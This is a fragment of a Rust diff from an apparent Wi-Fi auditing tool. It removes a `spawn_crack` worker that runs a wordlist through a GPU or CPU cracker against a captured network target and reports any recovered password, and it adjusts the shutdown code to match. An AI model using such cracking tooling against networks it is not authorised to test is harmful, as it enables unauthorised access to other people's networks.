553 }967 }
@@ -570,94 +984,10 @@ impl ServiceClient {
570 self.cmd(&Cmd::StopScan);984 self.cmd(&Cmd::StopScan);
571 }985 }
572 986
573- /// Ask the running crack job (if any) to stop. UI-side flag only —
574- /// the service is not involved in cracking.
575- pub fn request_crack_stop(&self) {
576- if let Some(flag) = &*self.crack_stop.lock().expect("crack_stop poisoned") {
577- flag.store(true, Ordering::Relaxed);
578- }
579- }
580-
581- /// Crack worker: stream `wordlist` through the GPU cracker (CPU
582- /// fallback when no adapter) against `target` — as a plain thread in
583- /// the UI process (GPU + wordlist need no root). Emits CrackProgress,
584- /// then exactly one terminator: CrackFound + CrackStopped{found:true}
585- /// on success, CrackStopped{found:false} on stop or wordlist
586- /// exhaustion.
587- pub fn spawn_crack(
588- &self,
589- target_desc: String,
590- target: CrackTarget,
591- wordlist: PathBuf,
592- tx: Sender<Event>,
593- ) {
594- let stop = Arc::new(AtomicBool::new(false));
595- *self.crack_stop.lock().expect("crack_stop poisoned") = Some(stop.clone());
596- let err_tx = tx.clone();
597- let result = std::thread::Builder::new()
598- .name("wifilab-crack".into())
599- .spawn(move || {
600- let words = match wordlist::open(&wordlist) {
601- Ok(w) => w,
602- Err(e) => {
603- log_err(&tx, format!("cracker: {e:#}"));
604- send(&tx, Event::CrackStopped { found: false });
605- return;
606- }
607- };
608- let mut words = words;
609- let mut progress = {
610- let tx = tx.clone();
611- move |done: u64, hps: f64| send(&tx, Event::CrackProgress { done, hps })
612- };
613- let found = match GpuCracker::try_new() {
614- Some(g) => {
615- log(
616- &tx,
617- format!(
618- "cracker: GPU backend: {} — cracking {target_desc}",
619- g.device_name()
620- ),
621- );
622- g.crack(&target, &mut words, &mut progress, &stop)
623- }
624- None => {
625- log(
626- &tx,
627- format!(
628- "cracker: no GPU adapter, CPU fallback — cracking {target_desc}"
629- ),
630- );
631- gpu::cpu_crack(&target, &mut words, &mut progress, &stop)
632- }
633- };
634- match found {
635- Some(password) => {
636- log(&tx, format!("cracker: PASSWORD found: {password}"));
637- send(&tx, Event::CrackFound { password });
638- send(&tx, Event::CrackStopped { found: true });
639- }
640- None => {
641- if stop.load(Ordering::Relaxed) {
642- log(&tx, "cracker: stopped");
643- } else {
644- log(&tx, "cracker: wordlist exhausted, password not found");
645- }
646- send(&tx, Event::CrackStopped { found: false });
647- }
648- }
649- });
650- if let Err(e) = result {
651- send(&err_tx, Event::Error(format!("cracker: spawn failed: {e}")));
652- send(&err_tx, Event::CrackStopped { found: false });
653- }
654- }
655-
656 /// Tear down: tell the service to stop everything + exit, give it a987 /// Tear down: tell the service to stop everything + exit, give it a
657- /// grace period, then kill and reap. Also stops any UI-side crack job988+ /// grace period, then kill and reap. The UI-side crack job is stopped
658- /// and joins the reader thread.989+ /// separately by the owner of its stop flag (AppRoot).
659 pub fn shutdown(mut self) {990 pub fn shutdown(mut self) {
660- self.request_crack_stop();
661 self.cmd(&Cmd::Shutdown);991 self.cmd(&Cmd::Shutdown);
662 // 2 s grace for the service to restore managed mode + exit.992 // 2 s grace for the service to restore managed mode + exit.
663 let deadline = Instant::now() + Duration::from_secs(2);993 let deadline = Instant::now() + Duration::from_secs(2);
@@ -685,7 +1015,6 @@ impl Drop for ServiceClient {
685 /// Panic-safe mirror of [`ServiceClient::shutdown`]: the service gets1015 /// Panic-safe mirror of [`ServiceClient::shutdown`]: the service gets
686 /// a chance to restore the interface even if the UI dies.1016 /// a chance to restore the interface even if the UI dies.
687 fn drop(&mut self) {1017 fn drop(&mut self) {
688- self.request_crack_stop();
689 self.cmd(&Cmd::Shutdown);1018 self.cmd(&Cmd::Shutdown);
690 let deadline = Instant::now() + Duration::from_secs(2);1019 let deadline = Instant::now() + Duration::from_secs(2);
691 loop {1020 loop {